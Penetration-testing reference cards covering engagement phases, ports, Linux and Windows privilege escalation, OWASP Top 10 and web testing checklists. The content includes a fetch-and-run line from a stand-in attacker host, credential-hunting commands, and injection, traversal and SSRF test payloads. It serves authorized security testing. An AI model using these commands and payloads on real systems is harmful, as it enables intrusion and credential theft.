Quick-Reference Cards

Six rapid-lookup reference cards covering core penetration testing methodology, common ports, privilege escalation, and web application security. Print these, pin them up, and reach for them mid-engagement.

Card 1: Pentest Methodology

Phase 1 — Pre-Engagement

Activity	Details
Scope definition	IP ranges, domains, excluded hosts, testing window
Rules of engagement	Attack types allowed, social engineering, DoS, physical
Authorization	Written permission (get-out-of-jail letter), legal review
Communication plan	Emergency contacts, status updates, incident escalation
Environment setup	VPN access, credentials (if gray/white box), test accounts
Deliverables	Signed statement of work, scope document, RoE

Phase 2 — Reconnaissance

Activity	Details
Passive OSINT	WHOIS, DNS records, Google dorking, social media, Shodan
Subdomain enumeration	Amass, Sublist3r, subfinder, certificate transparency
Email harvesting	theHarvester, Hunter.io, LinkedIn scraping
Technology fingerprinting	Wappalyzer, BuiltWith, WhatWeb
Active scanning	Nmap host discovery (-sn), port scanning (-sS/-sV/-sC)
Vulnerability scanning	Nessus, OpenVAS, Nikto, Nuclei
Deliverables	Target inventory, network map, vulnerability list

Phase 3 — Exploitation

Activity	Details
Vulnerability validation	Manual verification of scanner findings
Exploit selection	Metasploit, searchsploit, custom scripts
Initial access	Exploit vulnerability, credential attack, social engineering
Web exploitation	SQLi, XSS, RCE, file upload, deserialization
Password attacks	Brute force, spraying, credential stuffing, hash cracking
Client-side attacks	Phishing, malicious documents, USB drops
Deliverables	Proof of exploitation, screenshots, session evidence

Phase 4 — Post-Exploitation

Activity	Details
Privilege escalation	Kernel exploits, misconfigs, credential reuse
Persistence	Backdoors, scheduled tasks, registry, cron (if in scope)
Lateral movement	Pass-the-hash, Kerberos attacks, pivoting
Data discovery	Sensitive files, databases, credentials, PII
Credential harvesting	Mimikatz, hashdump, SAM/NTDS extraction
Network mapping	Internal recon, identify high-value targets
Deliverables	Full access evidence, data exposure proof, attack path map

Phase 5 — Reporting

Activity	Details
Executive summary	Business-level risk overview for leadership
Technical findings	Detailed findings with CVSS scores and evidence
Attack narrative	Step-by-step walkthrough of successful attack paths
Remediation guidance	Specific, prioritized fix recommendations
Appendices	Raw scan output, tool logs, full evidence
Deliverables	Final report (PDF), presentation, debrief meeting

Phase 6 — Remediation Verification

Activity	Details
Retest	Verify fixes for critical/high findings
Validation report	Confirm which issues are resolved
Deliverables	Retest report, updated risk register

Card 2: Common Ports and Services (Top 50)

Port	Protocol	Service	Attack Relevance
21	TCP	FTP	Anonymous login, cleartext creds, bounce attacks
22	TCP	SSH	Brute force, key-based auth bypass, version exploits
23	TCP	Telnet	Cleartext creds, banner grabbing
25	TCP	SMTP	Open relay, user enumeration (VRFY/EXPN), spoofing
53	TCP/UDP	DNS	Zone transfer, tunneling, cache poisoning
67/68	UDP	DHCP	Starvation, rogue DHCP server
69	UDP	TFTP	No authentication, file retrieval
80	TCP	HTTP	Web app attacks (OWASP Top 10)
88	TCP	Kerberos	AS-REP roasting, Kerberoasting, ticket attacks
110	TCP	POP3	Cleartext creds, brute force
111	TCP	RPCBind	NFS enumeration, service discovery
135	TCP	MSRPC	Endpoint enumeration, remote execution
139	TCP	NetBIOS	SMB enumeration, null sessions
143	TCP	IMAP	Cleartext creds, brute force
161/162	UDP	SNMP	Default community strings, info leak
389	TCP	LDAP	Anonymous bind, enumeration, injection
443	TCP	HTTPS	Web app attacks, SSL/TLS vulnerabilities
445	TCP	SMB	EternalBlue, relay attacks, share enumeration
464	TCP	Kpasswd	Kerberos password change service
512-514	TCP	R-services	Remote execution without proper auth
548	TCP	AFP	Apple Filing Protocol enumeration
554	TCP	RTSP	Media streaming, default creds
587	TCP	SMTP (submission)	Email relay, authentication brute force
593	TCP	HTTP RPC	Endpoint mapper over HTTP
636	TCP	LDAPS	LDAP over SSL, certificate issues
873	TCP	Rsync	Anonymous access, file retrieval
993	TCP	IMAPS	Encrypted IMAP, brute force
995	TCP	POP3S	Encrypted POP3, brute force
1080	TCP	SOCKS	Open proxy pivoting
1433	TCP	MSSQL	Default SA, xp_cmdshell, SQLi
1521	TCP	Oracle	TNS listener, default creds
1723	TCP	PPTP VPN	Weak encryption (MS-CHAPv2)
2049	TCP	NFS	Mountable shares, no_root_squash
3306	TCP	MySQL	Default root no password, UDF exploit
3389	TCP	RDP	BlueKeep, brute force, session hijacking
4443	TCP	HTTPS (alt)	Alternative HTTPS services
5432	TCP	PostgreSQL	Default creds, command execution
5900	TCP	VNC	Weak/no authentication, brute force
5985	TCP	WinRM (HTTP)	Remote PowerShell, pass-the-hash
5986	TCP	WinRM (HTTPS)	Encrypted remote PowerShell
6379	TCP	Redis	No auth default, command execution
8080	TCP	HTTP Proxy/Alt	Web apps, management interfaces
8443	TCP	HTTPS Alt	Management consoles
8888	TCP	HTTP Alt	Jupyter, dev servers
9090	TCP	Various	Management consoles (Cockpit, WebSphere)
9200	TCP	Elasticsearch	No auth default, data exposure
9389	TCP	AD Web Services	Active Directory enumeration
11211	TCP/UDP	Memcached	No auth, amplification attacks
27017	TCP	MongoDB	No auth default, data exposure
27018	TCP	MongoDB (shard)	Sharded cluster access

Card 3: Linux Privilege Escalation Checklist

Quick Wins

[ ] sudo -l — Check sudo permissions (GTFOBins for exploit)
[ ] SUID/SGID binaries: find / -perm -4000 -type f 2>/dev/null
[ ] World-writable files: find / -writable -type f 2>/dev/null
[ ] Credentials in files: grep -rli "password" /etc/ /home/ /opt/ /var/ 2>/dev/null
[ ] Readable /etc/shadow
[ ] Writable /etc/passwd (add a root-level user)
[ ] SSH keys in home directories: find / -name "id_rsa" 2>/dev/null

System Enumeration

[ ] OS version: cat /etc/os-release && uname -a
[ ] Kernel version: uname -r (check for kernel exploits)
[ ] Running processes: ps aux
[ ] Installed packages: dpkg -l or rpm -qa
[ ] Network connections: ss -tulnp or netstat -tulnp
[ ] Internal services not exposed externally
[ ] Environment variables: env (check for secrets)
[ ] Available compilers: which gcc cc python python3 perl

File System

[ ] /etc/crontab and /var/spool/cron/ — Cron jobs running as root
[ ] Writable cron scripts or directories
[ ] /opt/, /srv/, /var/ — Non-standard applications
[ ] Config files: database creds, API keys, passwords
[ ] .bash_history and other history files
[ ] Backup files: *.bak, *.old, *.conf.bak
[ ] Log files with sensitive data: /var/log/
[ ] Mounted file systems: mount and cat /etc/fstab
[ ] NFS exports with no_root_squash: cat /etc/exports

Services and Networking

[ ] Services running as root: ps aux | grep root
[ ] Internal-only services (127.0.0.1)
[ ] Docker socket accessible: ls -la /var/run/docker.sock
[ ] Docker group membership: id
[ ] LXD/LXC group membership
[ ] Writable service files: systemd units, init scripts

Advanced

[ ] Capabilities: getcap -r / 2>/dev/null
[ ] PATH hijacking: writable directories in PATH
[ ] Library hijacking: LD_LIBRARY_PATH, LD_PRELOAD
[ ] Wildcard injection in cron scripts (tar, rsync)
[ ] Python library hijacking
[ ] Kernel exploits: DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), etc.

Automated Tools

LinPEAS: curl ATTACKER/linpeas.sh | bash
LinEnum: ./linenum.sh
linux-exploit-suggester: ./les.sh
pspy: monitor processes without root

Card 4: Windows Privilege Escalation Checklist

Quick Wins

[ ] whoami /priv — Check for dangerous privileges:
SeImpersonatePrivilege → Potato attacks (JuicyPotato, PrintSpoofer, GodPotato)
SeBackupPrivilege → Read any file (SAM/SYSTEM/NTDS)
SeRestorePrivilege → Write any file
SeDebugPrivilege → Inject into any process
SeTakeOwnershipPrivilege → Take ownership of any object
SeAssignPrimaryTokenPrivilege → Token manipulation
[ ] Stored credentials: cmdkey /list
[ ] Saved WiFi passwords: netsh wlan show profiles
[ ] Unquoted service paths: wmic service get name,pathname,startmode
[ ] AlwaysInstallElevated: check both HKLM and HKCU registry

System Enumeration

[ ] System info: systeminfo
[ ] OS version and patches: wmic qfe list
[ ] Architecture: echo %PROCESSOR_ARCHITECTURE%
[ ] Users and groups: net user, net localgroup administrators
[ ] Network connections: netstat -ano
[ ] Running processes: tasklist /SVC
[ ] Installed software: wmic product get name,version
[ ] Scheduled tasks: schtasks /query /fo TABLE /nh
[ ] Services: sc query state= all
[ ] Environment variables: set

Service Exploitation

[ ] Modifiable services: accesschk.exe -uwcqv "Authenticated Users" *
[ ] Unquoted service paths with writable directories
[ ] Weak service permissions (change binpath)
[ ] DLL hijacking: missing DLLs in service executables
[ ] Service restart permissions

Registry

[ ] AutoRuns: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
[ ] AlwaysInstallElevated: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
[ ] Passwords in registry: reg query HKLM /f password /t REG_SZ /s
[ ] AutoLogon credentials: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Credential Hunting

[ ] SAM/SYSTEM backups: C:\Windows\repair\, C:\Windows\System32\config\RegBack\
[ ] Unattend files: C:\Windows\Panther\Unattend.xml, Unattend.xml, sysprep.xml
[ ] IIS config: C:\inetpub\wwwroot\web.config
[ ] PowerShell history: (Get-PSReadLineOption).HistorySavePath
[ ] Cached credentials: cmdkey /list → runas /savecred
[ ] Browser saved passwords
[ ] KeePass databases, PuTTY sessions, FileZilla configs
[ ] DPAPI credential files

Active Directory (if domain-joined)

[ ] Domain enumeration: net user /domain, net group /domain
[ ] BloodHound collection for attack paths
[ ] Kerberoasting: GetUserSPNs.py
[ ] AS-REP Roasting: GetNPUsers.py
[ ] GPP passwords: gpp-decrypt
[ ] LAPS: Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd

Automated Tools

WinPEAS: winpeas.exe
PowerUp: Invoke-AllChecks
Seatbelt: Seatbelt.exe -group=all
Watson: patch-level to exploit mapping
SharpUp: C# port of PowerUp

Card 5: OWASP Top 10 (2021) Quick Reference

A01:2021 — Broken Access Control

What: Users can act outside their intended permissions.

Vulnerability	Test
IDOR	Change object IDs in URLs/parameters
Missing function-level access control	Access admin endpoints as regular user
Privilege escalation	Modify role/privilege parameters
CORS misconfiguration	Check `Access-Control-Allow-Origin`
Directory traversal	`../../etc/passwd` in file parameters
Forced browsing	Access restricted pages directly by URL

A02:2021 — Cryptographic Failures

What: Failures related to cryptography (or lack thereof) that expose sensitive data.

Vulnerability	Test
Cleartext transmission	Check for HTTP (non-HTTPS) on sensitive pages
Weak algorithms	MD5/SHA1 for passwords, DES, RC4
Hard-coded keys/secrets	Source code review, config files
Missing encryption at rest	Database content, backups
Weak TLS configuration	testssl.sh, SSLyze

A03:2021 — Injection

What: Untrusted data sent to an interpreter as part of a command or query.

Vulnerability	Test
SQL injection	`' OR 1=1--`, sqlmap
Command injection	`; ls`, `\| whoami`, `id`
LDAP injection	`)(uid=))(\|(uid=*`
XPath injection	`' or 1=1 or ''='`
Template injection (SSTI)	`{{77}}`, `${77}`
Header injection	CRLF: `%0d%0a`

A04:2021 — Insecure Design

What: Flaws in design and architecture rather than implementation.

Vulnerability	Test
Missing rate limiting	Brute force login attempts
Missing CAPTCHA	Automated form submissions
Weak security questions	Guessable or researchable answers
Trust boundary violations	Client-side validation only

A05:2021 — Security Misconfiguration

What: Missing or incorrect security hardening across the application stack.

Vulnerability	Test
Default credentials	admin/admin, admin/password, etc.
Unnecessary features enabled	Directory listing, debug mode
Verbose error messages	Stack traces, database errors
Missing security headers	X-Frame-Options, CSP, HSTS
Outdated software	Version detection, CVE lookup
Open cloud storage	S3 buckets, Azure blobs

A06:2021 — Vulnerable and Outdated Components

What: Using components with known vulnerabilities.

Vulnerability	Test
Outdated libraries	npm audit, pip-audit, OWASP Dependency-Check
Unpatched frameworks	Version fingerprinting, CVE search
Unsupported software	EOL products

A07:2021 — Identification and Authentication Failures

What: Weaknesses in authentication mechanisms.

Vulnerability	Test
Weak passwords allowed	Test password policy enforcement
Missing MFA	Check for MFA on sensitive operations
Credential stuffing	Test with known breached credentials
Session fixation	Check if session ID changes after login
Session tokens in URL	Review URL parameters
Missing logout/timeout	Check session expiration

A08:2021 — Software and Data Integrity Failures

What: Failures to protect against integrity violations.

Vulnerability	Test
Insecure deserialization	Modify serialized objects
Missing code signing	Unsigned updates or plugins
CI/CD pipeline compromise	Review pipeline security
Insecure auto-update	MITM update mechanisms

A09:2021 — Security Logging and Monitoring Failures

What: Insufficient logging, detection, and response capabilities.

Vulnerability	Test
Login failures not logged	Generate failures, check logs
No alerting	Trigger suspicious activity
Logs stored only locally	Check log aggregation
No integrity protection	Can logs be tampered with?

A10:2021 — Server-Side Request Forgery (SSRF)

What: Application fetches remote resources without validating the user-supplied URL.

Vulnerability	Test
Internal service access	`http://127.0.0.1`, `http://localhost`
Cloud metadata access	`http://169.254.169.254/latest/meta-data/`
Internal port scanning	Iterate internal IPs/ports
Protocol smuggling	`file://`, `gopher://`, `dict://`

Card 6: Web Application Testing Checklist

Information Gathering

[ ] Technology stack identification (Wappalyzer, WhatWeb)
[ ] Directory and file enumeration (ffuf, Gobuster)
[ ] Subdomain enumeration
[ ] Virtual host discovery
[ ] API endpoint discovery
[ ] JavaScript file analysis for endpoints and secrets
[ ] Robots.txt, sitemap.xml, .well-known
[ ] Error page analysis for information disclosure
[ ] HTTP methods testing (OPTIONS, PUT, DELETE, TRACE)

Authentication Testing

[ ] Default credentials
[ ] Password policy strength (minimum length, complexity)
[ ] Account lockout mechanism
[ ] Brute force protection / rate limiting
[ ] Password reset mechanism security
[ ] Remember me functionality
[ ] Multi-factor authentication (present? bypassable?)
[ ] Session token entropy (Burp Sequencer)
[ ] Session invalidation on logout
[ ] Session invalidation on password change
[ ] Concurrent session handling
[ ] Session fixation
[ ] Cookie flags (Secure, HttpOnly, SameSite)

Authorization Testing

[ ] Horizontal privilege escalation (access other users' data)
[ ] Vertical privilege escalation (access admin functionality)
[ ] IDOR on all object references (user IDs, file names, order IDs)
[ ] Forced browsing to restricted pages
[ ] API endpoint authorization checks
[ ] HTTP method-based authorization bypass
[ ] Directory traversal on file operations

Input Validation

[ ] SQL injection (all input points, including headers and cookies)
[ ] Cross-site scripting (reflected, stored, DOM-based)
[ ] Command injection
[ ] Server-side template injection (SSTI)
[ ] XML External Entity (XXE)
[ ] Server-side request forgery (SSRF)
[ ] Local/remote file inclusion (LFI/RFI)
[ ] HTTP parameter pollution
[ ] HTTP request smuggling
[ ] Open redirect
[ ] CRLF injection

Business Logic

[ ] Price manipulation (modify price in request)
[ ] Quantity manipulation (negative values, zero)
[ ] Workflow bypass (skip steps in multi-step process)
[ ] Race conditions (concurrent requests)
[ ] Feature abuse (unintended use of legitimate features)
[ ] Coupon/discount code reuse
[ ] Payment gateway bypass

File Operations

[ ] File upload restrictions (bypass extension filters, MIME types)
[ ] Upload path traversal
[ ] Upload of web shells
[ ] SVG upload for XSS
[ ] File download / path traversal
[ ] Zip slip vulnerability

Client-Side

[ ] Cross-site request forgery (CSRF)
[ ] Clickjacking (X-Frame-Options, CSP frame-ancestors)
[ ] CORS misconfiguration
[ ] WebSocket security
[ ] Client-side storage (localStorage, sessionStorage) sensitive data
[ ] Postmessage vulnerabilities

API-Specific

[ ] API authentication (API keys, OAuth, JWT)
[ ] JWT vulnerabilities (none algorithm, weak secret, algorithm confusion)
[ ] Mass assignment / parameter binding
[ ] Rate limiting on API endpoints
[ ] Excessive data exposure in responses
[ ] GraphQL introspection enabled
[ ] GraphQL batching attacks

Configuration

[ ] SSL/TLS configuration (testssl.sh, SSLyze)
[ ] Security headers (check with securityheaders.com)
[ ] HTTP to HTTPS redirect
[ ] HSTS implementation
[ ] Content Security Policy (CSP)
[ ] Debug/development mode enabled
[ ] Server version disclosure
[ ] Directory listing enabled

These reference cards provide starting points for common testing activities. Adapt them to each engagement based on scope, technology stack, and testing objectives.